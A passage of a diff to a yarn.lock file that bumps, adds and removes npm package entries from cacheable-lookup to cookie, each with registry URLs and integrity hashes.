+  resolved "https://registry.yarnpkg.com/cac/-/cac-6.7.14.tgz#804e1e6f506ee363cb0e3ccbb09cad5dd9870959"
+  integrity sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==
+
 cache-base@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/cache-base/-/cache-base-1.0.1.tgz#0a7f46416831c8b662ee36fe4e7c59d76f666ab2"
@@ -5255,6 +6127,24 @@ cacheable-lookup@^5.0.3:
   resolved "https://registry.yarnpkg.com/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz#5a6b865b2c44357be3d5ebc2a467b032719a7005"
   integrity sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==
 
+cacheable-lookup@^7.0.0:
+  version "7.0.0"
+  resolved "https://registry.yarnpkg.com/cacheable-lookup/-/cacheable-lookup-7.0.0.tgz#3476a8215d046e5a3202a9209dd13fec1f933a27"
+  integrity sha512-+qJyx4xiKra8mZrcwhjMRMUhD5NR1R8esPkzIYxX96JiecFoxAXFuz/GpR3+ev4PE1WamHip78wV0vcmPQtp8w==
+
+cacheable-request@^10.2.8:
+  version "10.2.14"
+  resolved "https://registry.yarnpkg.com/cacheable-request/-/cacheable-request-10.2.14.tgz#eb915b665fda41b79652782df3f553449c406b9d"
+  integrity sha512-zkDT5WAF4hSSoUgyfg5tFIxz8XQK+25W/TLVojJTMKBaxevLBBtLxgqguAuVQB8PVW79FVjHcU+GJ9tVbDZ9mQ==
+  dependencies:
+    "@types/http-cache-semantics" "^4.0.2"
+    get-stream "^6.0.1"
+    http-cache-semantics "^4.1.1"
+    keyv "^4.5.3"
+    mimic-response "^4.0.0"
+    normalize-url "^8.0.0"
+    responselike "^3.0.0"
+
 cacheable-request@^2.1.1:
   version "2.1.4"
   resolved "https://registry.yarnpkg.com/cacheable-request/-/cacheable-request-2.1.4.tgz#0d808801b6342ad33c91df9d0b44dc09b91e5c3d"
@@ -5302,6 +6192,17 @@ call-bind@^1.0.0, call-bind@^1.0.2:
     function-bind "^1.1.1"
     get-intrinsic "^1.0.2"
 
+call-bind@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.7.tgz#06016599c40c56498c18769d2730be242b6fa3b9"
+  integrity sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==
+  dependencies:
+    es-define-property "^1.0.0"
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.4"
+    set-function-length "^1.2.1"
+
 callsites@^3.0.0:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
@@ -5315,20 +6216,20 @@ camelcase-keys@^2.0.0:
     camelcase "^2.0.0"
     map-obj "^1.0.0"
 
-camelcase@5.3.1, camelcase@^5.0.0, camelcase@^5.3.1:
-  version "5.3.1"
-  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320"
-  integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==
+camelcase@8.0.0:
+  version "8.0.0"
+  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-8.0.0.tgz#c0d36d418753fb6ad9c5e0437579745c1c14a534"
+  integrity sha512-8WB3Jcas3swSvjIeA2yvCJ+Miyz5l1ZmB6HFb9R1317dt9LCQoswg/BGrmAmkWVEszSrrg4RwmO46qIm2OEnSA==
 
 camelcase@^2.0.0:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-2.1.1.tgz#7c1d16d679a1bbe59ca02cacecfb011e201f5a1f"
   integrity sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=
 
-camelcase@^4.0.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-4.1.0.tgz#d545635be1e33c542649c69173e5de6acfae34dd"
-  integrity sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=
+camelcase@^5.0.0, camelcase@^5.3.1:
+  version "5.3.1"
+  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320"
+  integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==
 
 camelcase@^6.0.0:
   version "6.0.0"
@@ -5340,6 +6241,11 @@ camelcase@^6.2.0:
   resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-6.3.0.tgz#5685b95eb209ac9c0c177467778c9c84df58ba9a"
   integrity sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==
 
+camelcase@^7.0.1:
+  version "7.0.1"
+  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-7.0.1.tgz#f02e50af9fd7782bc8b88a3558c32fd3a388f048"
+  integrity sha512-xlx1yCK2Oc1APsPXDL2LdlNP6+uu8OCDdhOBSVT279M/S+y75O30C2VuD8T2ogdePBBl7PfPF4504tnLgX3zfw==
+
 caniuse-lite@^1.0.30001022:
   version "1.0.30001022"
   resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001022.tgz#9eeffe580c3a8f110b7b1742dcf06a395885e4c6"
@@ -5350,25 +6256,15 @@ caniuse-lite@^1.0.30001111:
   resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001114.tgz#2e88119afb332ead5eaa330e332e951b1c4bfea9"
   integrity sha512-ml/zTsfNBM+T1+mjglWRPgVsu2L76GAaADKX5f4t0pbhttEp0WMawJsHDYlFkVZkoA+89uvBRrVrEE4oqenzXQ==
 
-caniuse-lite@^1.0.30001280:
-  version "1.0.30001365"
-  resolved "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001365.tgz"
-  integrity sha512-VDQZ8OtpuIPMBA4YYvZXECtXbddMCUFJk1qu8Mqxfm/SZJNSr1cy4IuLCOL7RJ/YASrvJcYg1Zh+UEUQ5m6z8Q==
-
 caniuse-lite@^1.0.30001449, caniuse-lite@^1.0.30001587:
   version "1.0.30001616"
   resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001616.tgz#4342712750d35f71ebba9fcac65e2cf8870013c3"
   integrity sha512-RHVYKov7IcdNjVHJFNY/78RdG4oGVjbayxv8u5IO74Wv7Hlq4PnJE6mo/OjFijjVFNy5ijnCt6H3IIo4t+wfEw==
 
-capture-stack-trace@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/capture-stack-trace/-/capture-stack-trace-1.0.1.tgz#a6c0bbe1f38f3aa0b92238ecb6ff42c344d4135d"
-  integrity sha512-mYQLZnx5Qt1JgB1WEiMCf2647plpGeQ2NMR/5L0HNZzGQo4fuSPnK+wjfPnKZV0aiJDgzmWqqkV/g7JD+DW0qw==
-
-caseless@~0.12.0:
-  version "0.12.0"
-  resolved "https://registry.yarnpkg.com/caseless/-/caseless-0.12.0.tgz#1b681c21ff84033c826543090689420d187151dc"
-  integrity sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=
+caniuse-lite@^1.0.30001688:
+  version "1.0.30001703"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001703.tgz#977cb4920598c158f491ecf4f4f2cfed9e354718"
+  integrity sha512-kRlAGTRWgPsOj7oARC9m1okJEXdL/8fekFVcxA8Hl7GH4r/sN4OJn/i6Flde373T50KS7Y37oFbMwlE8+F42kQ==
 
 caw@^2.0.0, caw@^2.0.1:
   version "2.0.1"
@@ -5380,15 +6276,7 @@ caw@^2.0.0, caw@^2.0.1:
     tunnel-agent "^0.6.0"
     url-to-options "^1.0.1"
 
-chalk@4.1.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.0.tgz#4e14870a618d9e2edd97dd8345fd9d9dc315646a"
-  integrity sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==
-  dependencies:
-    ansi-styles "^4.1.0"
-    supports-color "^7.1.0"
-
-chalk@4.x, chalk@^4.0.0:
+chalk@4.1.2, chalk@4.x, chalk@^4.0.0, chalk@^4.1.0:
   version "4.1.2"
   resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.2.tgz#aac4e2b7734a740867aeb16bf02aad556a1e7a01"
   integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==
@@ -5407,7 +6295,7 @@ chalk@^1.0.0, chalk@^1.1.3:
     strip-ansi "^3.0.0"
     supports-color "^2.0.0"
 
-chalk@^2.0.0, chalk@^2.0.1, chalk@^2.1.0, chalk@^2.3.0, chalk@^2.4.1, chalk@^2.4.2:
+chalk@^2.0.0, chalk@^2.3.0, chalk@^2.4.1, chalk@^2.4.2:
   version "2.4.2"
   resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
   integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==
@@ -5432,27 +6320,45 @@ chalk@^4.1.1:
     ansi-styles "^4.1.0"
     supports-color "^7.1.0"
 
+chalk@^5.0.1, chalk@^5.2.0:
+  version "5.3.0"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-5.3.0.tgz#67c20a7ebef70e7f3970a01f90fa210cb6860385"
+  integrity sha512-dLitG79d+GV1Nb/VYcCDFivJeK1hiukt9QjRNVOsUtTy1rR1YJsmpGGTZ3qJos+uw7WmWF4wUwBd9jxjocFC2w==
+
 char-regex@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/char-regex/-/char-regex-1.0.2.tgz#d744358226217f981ed58f479b1d6bcc29545dcf"
   integrity sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==
 
-chardet@^0.7.0:
-  version "0.7.0"
-  resolved "https://registry.yarnpkg.com/chardet/-/chardet-0.7.0.tgz#90094849f0937f2eedc2425d0d28a9e5f0cbad9e"
-  integrity sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==
+charenc@0.0.2:
+  version "0.0.2"
+  resolved "https://registry.yarnpkg.com/charenc/-/charenc-0.0.2.tgz#c0a1d2f3a7092e03774bfa83f14c0fc5790a8667"
+  integrity sha512-yrLQ/yVUFXkzg7EDQsPieE/53+0RlaWTs+wBrvW36cyilJ2SaDWfl4Yj7MtLTXleV9uEKefbAGUPv2/iWSooRA==
 
-cheerio@1.0.0-rc.3:
-  version "1.0.0-rc.3"
-  resolved "https://registry.yarnpkg.com/cheerio/-/cheerio-1.0.0-rc.3.tgz#094636d425b2e9c0f4eb91a46c05630c9a1a8bf6"
-  integrity sha512-0td5ijfUPuubwLUu0OBoe98gZj8C/AA+RW3v67GPlGOrvxWjZmBXiBCRU+I8VEiNyJzjth40POfHiz2RB3gImA==
+cheerio-select@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/cheerio-select/-/cheerio-select-2.1.0.tgz#4d8673286b8126ca2a8e42740d5e3c4884ae21b4"
+  integrity sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==
   dependencies:
-    css-select "~1.2.0"
-    dom-serializer "~0.1.1"
-    entities "~1.1.1"
-    htmlparser2 "^3.9.1"
-    lodash "^4.15.0"
-    parse5 "^3.0.1"
+    boolbase "^1.0.0"
+    css-select "^5.1.0"
+    css-what "^6.1.0"
+    domelementtype "^2.3.0"
+    domhandler "^5.0.3"
+    domutils "^3.0.1"
+
+cheerio@1.0.0-rc.12:
+  version "1.0.0-rc.12"
+  resolved "https://registry.yarnpkg.com/cheerio/-/cheerio-1.0.0-rc.12.tgz#788bf7466506b1c6bf5fae51d24a2c4d62e47683"
+  integrity sha512-VqR8m68vM46BNnuZ5NtnGBKIE/DfN0cRIzg9n40EIq9NOv90ayxLBXA8fXC5gquFRGJSTRqBq25Jt2ECLR431Q==
+  dependencies:
+    cheerio-select "^2.1.0"
+    dom-serializer "^2.0.0"
+    domhandler "^5.0.3"
+    domutils "^3.0.1"
+    htmlparser2 "^8.0.1"
+    parse5 "^7.0.0"
+    parse5-htmlparser2-tree-adapter "^7.0.0"
 
 child-process-promise@^2.2.1:
   version "2.2.1"
@@ -5497,6 +6403,13 @@ chokidar@^3.5.3:
   optionalDependencies:
     fsevents "~2.3.2"
 
+chokidar@^4.0.3:
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-4.0.3.tgz#7be37a4c03c9aee1ecfe862a4a23b2c70c205d30"
+  integrity sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==
+  dependencies:
+    readdirp "^4.0.1"
+
 chownr@^1.0.1:
   version "1.1.4"
   resolved "https://registry.yarnpkg.com/chownr/-/chownr-1.1.4.tgz#6fc9d7b42d32a583596337666e7d08084da2cc6b"
@@ -5512,17 +6425,15 @@ chrome-launch@^1.1.4:
     rimraf "^2.2.8"
     shallow-copy "0.0.1"
 
-chrome-launcher@0.13.3:
-  version "0.13.3"
-  resolved "https://registry.yarnpkg.com/chrome-launcher/-/chrome-launcher-0.13.3.tgz#5dd72ae4e9b3de19ce3fe1941f89551c0ceb1d30"
-  integrity sha512-ovrDuFXgXS96lzeDqFPQRsczkxla+6QMvzsF+1u0mKlD1KE8EuhjdLwiDfIFedb0FSLz18RK3y6IbKu8oqA0qw==
+chrome-launcher@0.15.1:
+  version "0.15.1"
+  resolved "https://registry.yarnpkg.com/chrome-launcher/-/chrome-launcher-0.15.1.tgz#0a0208037063641e2b3613b7e42b0fcb3fa2d399"
+  integrity sha512-UugC8u59/w2AyX5sHLZUHoxBAiSiunUhZa3zZwMH6zPVis0C3dDKiRWyUGIo14tTbZHGVviWxv3PQWZ7taZ4fg==
   dependencies:
     "@types/node" "*"
-    escape-string-regexp "^1.0.5"
+    escape-string-regexp "^4.0.0"
     is-wsl "^2.2.0"
     lighthouse-logger "^1.0.0"
-    mkdirp "^0.5.3"
-    rimraf "^3.0.2"
 
 chrome-location@^1.2.0:
   version "1.2.1"
@@ -5539,11 +6450,6 @@ chrome-trace-event@^1.0.2:
   dependencies:
     tslib "^1.9.0"
 
-ci-info@^1.5.0:
-  version "1.6.0"
-  resolved "https://registry.yarnpkg.com/ci-info/-/ci-info-1.6.0.tgz#2ca20dbb9ceb32d4524a683303313f0304b1e497"
-  integrity sha512-vsGdkwSCDpWmP80ncATX7iea5DWQemg1UgCW5J8tqjU3lYw4FBYuj89J0CTVomA7BEfvSZd84GmHko+MxFQU2A==
-
 ci-info@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/ci-info/-/ci-info-2.0.0.tgz#67a9e964be31a51e15e5010d58e6f12834002f46"
@@ -5569,22 +6475,20 @@ class-utils@^0.3.5:
     isobject "^3.0.0"
     static-extend "^0.1.1"
 
-cli-boxes@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/cli-boxes/-/cli-boxes-1.0.0.tgz#4fa917c3e59c94a004cd61f8ee509da651687143"
-  integrity sha1-T6kXw+WclKAEzWH47lCdplFocUM=
-
 cli-boxes@^2.2.0:
   version "2.2.0"
   resolved "https://registry.yarnpkg.com/cli-boxes/-/cli-boxes-2.2.0.tgz#538ecae8f9c6ca508e3c3c95b453fe93cb4c168d"
   integrity sha512-gpaBrMAizVEANOpfZp/EEUixTXDyGt7DFzdK5hU+UbWt/J0lB0w20ncZj59Z9a93xHb9u12zF5BS6i9RKbtg4w==
 
-cli-cursor@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/cli-cursor/-/cli-cursor-3.1.0.tgz#264305a7ae490d1d03bf0c9ba7c925d1753af307"
-  integrity sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==
-  dependencies:
-    restore-cursor "^3.1.0"
+cli-boxes@^2.2.1:
+  version "2.2.1"
+  resolved "https://registry.yarnpkg.com/cli-boxes/-/cli-boxes-2.2.1.tgz#ddd5035d25094fce220e9cab40a45840a440318f"
+  integrity sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw==
+
+cli-boxes@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/cli-boxes/-/cli-boxes-3.0.0.tgz#71a10c716feeba005e4504f36329ef0b17cf3145"
+  integrity sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g==
 
 cli-table@^0.3.1:
   version "0.3.1"
@@ -5593,11 +6497,6 @@ cli-table@^0.3.1:
   dependencies:
     colors "1.0.3"
 
-cli-width@^2.0.0:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/cli-width/-/cli-width-2.2.1.tgz#b0433d0b4e9c847ef18868a4ef16fd5fc8271c48"
-  integrity sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==
-
 clipboard-js@^0.3.6:
   version "0.3.6"
   resolved "https://registry.yarnpkg.com/clipboard-js/-/clipboard-js-0.3.6.tgz#6260add69b5318fde40b80f9d3c8c863efdaf339"
@@ -5732,30 +6631,25 @@ colorette@^2.0.10, colorette@^2.0.14:
   resolved "https://registry.yarnpkg.com/colorette/-/colorette-2.0.20.tgz#9eb793e6833067f7235902fcd3b09917a000a95a"
   integrity sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==
 
-colors@0.5.x:
-  version "0.5.1"
-  resolved "https://registry.yarnpkg.com/colors/-/colors-0.5.1.tgz#7d0023eaeb154e8ee9fce75dcb923d0ed1667774"
-  integrity sha1-fQAj6usVTo7p/Oddy5I9DtFmd3Q=
-
 colors@1.0.3:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/colors/-/colors-1.0.3.tgz#0433f44d809680fdeb60ed260f1b0c262e82a40b"
   integrity sha1-BDP0TYCWgP3rYO0mDxsMJi6CpAs=
 
-colors@^1.1.2, colors@^1.4.0:
+colors@1.4.0, colors@^1.1.2:
   version "1.4.0"
   resolved "https://registry.yarnpkg.com/colors/-/colors-1.4.0.tgz#c50491479d4c1bdaed2c9ced32cf7c7dc2360f78"
   integrity sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==
 
-columnify@1.5.4:
-  version "1.5.4"
-  resolved "https://registry.yarnpkg.com/columnify/-/columnify-1.5.4.tgz#4737ddf1c7b69a8a7c340570782e947eec8e78bb"
-  integrity sha1-Rzfd8ce2mop8NAVweC6UfuyOeLs=
+columnify@1.6.0:
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/columnify/-/columnify-1.6.0.tgz#6989531713c9008bb29735e61e37acf5bd553cf3"
+  integrity sha512-lomjuFZKfM6MSAnV9aCZC9sc0qGbmZdfygNv+nCpqVkSKdCxCklLtd16O0EILGkImHw9ZpHkAnHaB+8Zxq5W6Q==
   dependencies:
-    strip-ansi "^3.0.0"
+    strip-ansi "^6.0.1"
     wcwidth "^1.0.0"
 
-combined-stream@^1.0.6, combined-stream@^1.0.8, combined-stream@~1.0.6:
+combined-stream@^1.0.8:
   version "1.0.8"
   resolved "https://registry.yarnpkg.com/combined-stream/-/combined-stream-1.0.8.tgz#c3d45a8b34fd730631a110a8a2520682b31d5a7f"
   integrity sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==
@@ -5774,25 +6668,30 @@ commander@^10.0.1:
   resolved "https://registry.yarnpkg.com/commander/-/commander-10.0.1.tgz#881ee46b4f77d1c1dccc5823433aa39b022cbe06"
   integrity sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug==
 
-commander@^2.18.0, commander@^2.20.0, commander@^2.3.0, commander@^2.6.0, commander@^2.8.1:
+commander@^2.18.0, commander@^2.20.0, commander@^2.6.0, commander@^2.8.1:
   version "2.20.3"
   resolved "https://registry.yarnpkg.com/commander/-/commander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33"
   integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==
 
-commander@^4.0.1:
+commander@^4.0.0, commander@^4.0.1:
   version "4.1.1"
   resolved "https://registry.yarnpkg.com/commander/-/commander-4.1.1.tgz#9fd602bd936294e9e9ef46a3f4d6964044b18068"
   integrity sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==
 
-commander@^8.2.0:
-  version "8.3.0"
-  resolved "https://registry.yarnpkg.com/commander/-/commander-8.3.0.tgz#4837ea1b2da67b9c616a67afbb0fafee567bca66"
-  integrity sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==
+commander@^6.1.0:
+  version "6.2.1"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-6.2.1.tgz#0792eb682dfbc325999bb2b84fddddba110ac73c"
+  integrity sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA==
 
-common-tags@1.8.0:
-  version "1.8.0"
-  resolved "https://registry.yarnpkg.com/common-tags/-/common-tags-1.8.0.tgz#8e3153e542d4a39e9b10554434afaaf98956a937"
-  integrity sha512-6P6g0uetGpW/sdyUy/iQQCbFF0kWVMSIVSyYz7Zgjcgh8mgw8PQzDNZeyZ5DQ2gM7LBoZPHmnjz8rUthkBG5tw==
+commander@^9.1.0:
+  version "9.5.0"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-9.5.0.tgz#bc08d1eb5cedf7ccb797a96199d41c7bc3e60d30"
+  integrity sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==
+
+common-tags@1.8.2:
+  version "1.8.2"
+  resolved "https://registry.yarnpkg.com/common-tags/-/common-tags-1.8.2.tgz#94ebb3c076d26032745fd54face7f688ef5ac9c6"
+  integrity sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==
 
 commondir@^1.0.1:
   version "1.0.1"
@@ -5872,19 +6771,7 @@ config-chain@^1.1.11:
     ini "^1.3.4"
     proto-list "~1.2.1"
 
-configstore@^3.0.0:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/configstore/-/configstore-3.1.2.tgz#c6f25defaeef26df12dd33414b001fe81a543f8f"
-  integrity sha512-vtv5HtGjcYUgFrXc6Kx747B83MRRVS5R1VTEQoXvuP+kMI+if6uywV0nDGoiydJRy4yk7h9od5Og0kxx4zUXmw==
-  dependencies:
-    dot-prop "^4.1.0"
-    graceful-fs "^4.1.2"
-    make-dir "^1.0.0"
-    unique-string "^1.0.0"
-    write-file-atomic "^2.0.0"
-    xdg-basedir "^3.0.0"
-
-configstore@^5.0.0, configstore@^5.0.1:
+configstore@^5.0.1:
   version "5.0.1"
   resolved "https://registry.yarnpkg.com/configstore/-/configstore-5.0.1.tgz#d365021b5df4b98cdd187d6a3b0e3f6a7cc5ed96"
   integrity sha512-aMKprgk5YhBNyH25hj8wGt2+D52Sw1DRRIzqBwLp2Ya9mFmY8KPvvtvmna8SxVR9JMZ4kzMD68N22vlaRpkeFA==
@@ -5896,6 +6783,17 @@ configstore@^5.0.0, configstore@^5.0.1:
     write-file-atomic "^3.0.0"
     xdg-basedir "^4.0.0"
 
+configstore@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/configstore/-/configstore-6.0.0.tgz#49eca2ebc80983f77e09394a1a56e0aca8235566"
+  integrity sha512-cD31W1v3GqUlQvbBCGcXmd2Nj9SvLDOP1oQ0YFuLETufzSPaKp11rYBsSOm7rCsW3OnIRAFM3OxRhceaXNYHkA==
+  dependencies:
+    dot-prop "^6.0.1"
+    graceful-fs "^4.2.6"
+    unique-string "^3.0.0"
+    write-file-atomic "^3.0.3"
+    xdg-basedir "^5.0.1"
+
 confusing-browser-globals@^1.0.9:
   version "1.0.9"
   resolved "https://registry.yarnpkg.com/confusing-browser-globals/-/confusing-browser-globals-1.0.9.tgz#72bc13b483c0276801681871d4898516f8f54fdd"
@@ -5906,6 +6804,11 @@ connect-history-api-fallback@^2.0.0:
   resolved "https://registry.yarnpkg.com/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz#647264845251a0daf25b97ce87834cace0f5f1c8"
   integrity sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==
 
+consola@^3.4.0:
+  version "3.4.0"
+  resolved "https://registry.yarnpkg.com/consola/-/consola-3.4.0.tgz#4cfc9348fd85ed16a17940b3032765e31061ab88"
+  integrity sha512-EiPU8G6dQG0GFHNR8ljnZFki/8a+cQwEQ+7wpxdChl02Q8HXlwEZWD5lqAF8vC2sEC3Tehr8hy7vErz88LHyUA==
+
 console-browserify@^1.1.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/console-browserify/-/console-browserify-1.2.0.tgz#67063cef57ceb6cf4993a2ab3a55840ae8c49336"
@@ -5940,6 +6843,11 @@ content-type@~1.0.4:
   resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b"
   integrity sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==
 
+content-type@~1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.5.tgz#8b773162656d1d1086784c8f23a54ce6d73d7918"
+  integrity sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==
+
 convert-source-map@^1.1.0:
   version "1.7.0"
   resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-1.7.0.tgz#17a2cb882d7f77d3490585e2ce6c524424a3a442"
@@ -5962,10 +6870,10 @@ cookie-signature@1.0.6:
   resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c"
   integrity sha1-4wOogrNCzD7oylE6eZmXNNqzriw=
 
-cookie@0.5.0:
-  version "0.5.0"
-  resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.5.0.tgz#d1f5d71adec6558c58f389987c366aa47e994f8b"
-  integrity sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==
+cookie@0.6.0:
+  version "0.6.0"
+  resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.6.0.tgz#2798b04b071b0ecbff0dbb62a505a8efa4e19051"
+  integrity sha512-U71cyTamuh1CRNCfpGY6to28lxvNwPG4Guz/EVjgf3Jmzv0vlDp1atT9eS5dDjMYHucpHbWns6Lwf3BKz6svdw==
 
 cookie@^0.3.1:
   version "0.3.1"
@@ -5977,6 +6885,13 @@ copy-descriptor@^0.1.0:
   resolved "https://registry.yarnpkg.com/copy-descriptor/-/copy-descriptor-0.1.1.tgz#676f6eb3c39997c2ee1ac3a924fd6124748f578d"
